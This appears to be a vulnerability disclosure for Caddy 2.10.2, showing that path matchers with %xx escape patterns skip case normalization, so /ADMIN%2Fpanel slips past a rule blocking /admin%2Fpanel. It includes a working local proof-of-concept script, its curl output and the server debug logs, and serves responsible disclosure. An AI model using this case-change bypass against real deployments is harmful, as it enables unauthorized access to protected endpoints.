Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass

PoC

Prereqs:

• bash, curl
• A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)

#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @block {
        path /admin%2Fpanel
    }
    respond @block "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"

== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @block {
        path /admin%2Fpanel
    }
    respond @block "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 4
<
* Connection #0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /ADMIN%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 5
<
* Connection #0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"}
{"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2}
{"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]}
{"level":"debug","ts":1770589158.3716462,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}],"automatic_https":{},"logs":{}}}}}
{"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null}
{"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"}
{"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"}
{"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770675558.3855705,"try_again_in":86399.999999388}
{"level":"info","ts":1770589158.3857276,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770589160.2764065,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57126","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/admin%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000017493,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2943857,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57136","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/ADMIN%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000066734,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2966497,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770589160.2966666,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770589160.296728,"logger":"events","msg":"event","name":"stopping","id":"aefb0a2f-0a81-4587-9f79-e530883c3fe1","origin":"","data":null}
{"level":"info","ts":1770589160.2967443,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770589160.2968848,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770589160.2968912,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's path-matching logic for patterns that include escape sequences. Deployments that use path matchers with %xx patterns to block or protect sensitive endpoints (including encoded-path variants such as encoded slashes) can be bypassed by changing the casing of the request path, allowing unauthorized access to sensitive endpoints behind Caddy depending on upstream configuration.

The reproduction is minimal per the reporting guidance. In a realistic "full" scenario, a deployment may block %xx variants like path /admin%2Fpanel, otherwise proxying. If the backend is case-insensitive/normalizing, /ADMIN%2Fpanel maps to the same handler; Caddy’s %-pattern match misses due to case, so the block is skipped and the request falls through.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM to make sure nothing obvious was missed.

Disclosure/crediting

Asim Viladi Oglu Manizada